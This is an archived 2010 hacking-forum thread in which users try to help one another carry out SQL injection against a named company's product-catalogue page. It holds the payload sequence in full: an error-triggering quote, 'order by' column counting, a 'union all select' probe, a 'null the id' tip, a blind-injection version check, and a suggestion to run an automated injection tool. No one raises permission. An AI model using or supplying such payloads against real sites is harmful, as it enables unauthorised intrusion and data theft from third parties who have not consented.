+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Help me Sql this site (/showthread.php?tid=699457)
Help me Sql this site - Dr. DYNAMO - Sep 25, 2010
http://www.hawkingtech.com/products/index.php?CatID=32'
Its vulnerable
Error
http://www.hawkingtech.com/products/index.php?CatID=32 order by 13--
No error
http://www.hawkingtech.com/products/index.php?CatID=32 order by 12--
it means this site has 12 colums
Now we have to find vulnerable column but it doesn't show vulnerable column
http://www.hawkingtech.com/products/index.php?CatID=32 union all select 1,2,3,4,5,6,7,8,9,10,11,12--
What to do ?
* - Dr. DYNAMO - Sep 25, 2010
surprisingly no replies :(
* - C.B.I - Sep 25, 2010
If your a noob ,scan it with havij..
* - PličkaMaterna - Sep 25, 2010
Cant solve it...
Waiting for others =), will keep trying. Somehow blocks keywords...
* - nigganigganigga - Sep 25, 2010
I also can't solve it.. tried with lots of solutions.
* - Sho0ter - Sep 25, 2010
Tried a few things.No posotive thing.
* - iUndead - Sep 25, 2010
(Sep 25, 2010 07:55 AM)C.B.I Wrote: If your a noob ,scan it with havij..
And he's a noob... please.
* - Burn Notice - Sep 25, 2010
I'm guessing it doesn't allow union since order by 12-- query's the database without an error.
* - Error 403 - forbidden - Sep 25, 2010
null the id:
catid=null
Edit: if pitvix cant do it, give up.
* - iUndead - Sep 25, 2010
uhh, let me try, ill update if i get it.
* - J3di - Sep 26, 2010
No progress here either.
This is too too short btw
* - PličkaMaterna - Sep 26, 2010
(Sep 25, 2010 05:57 PM)xblackhatx Wrote: null the id:
catid=null
Edit: if pitvix cant do it, give up.
Dont think I can inject everything.
There are betters than me (vogel? hexon?)
* - Harlsten - Nov 15, 2010
try blind slq injection, maybe it'll work
Code
http://www.hawkingtech.com/products/index.php?CatID=32 and substring(@@version,1,1)=3now you know its myslq 3, this isn't good news
* - lord_edz - Nov 25, 2010
if you can't help, shut up! i u can help, help with no other chitchat,,,,
* - hacc - Nov 25, 2010
http://www.hawkingtech.com/products/index.php?CatID=32%20and%20substring(@@version,1,1)=3
LMAO.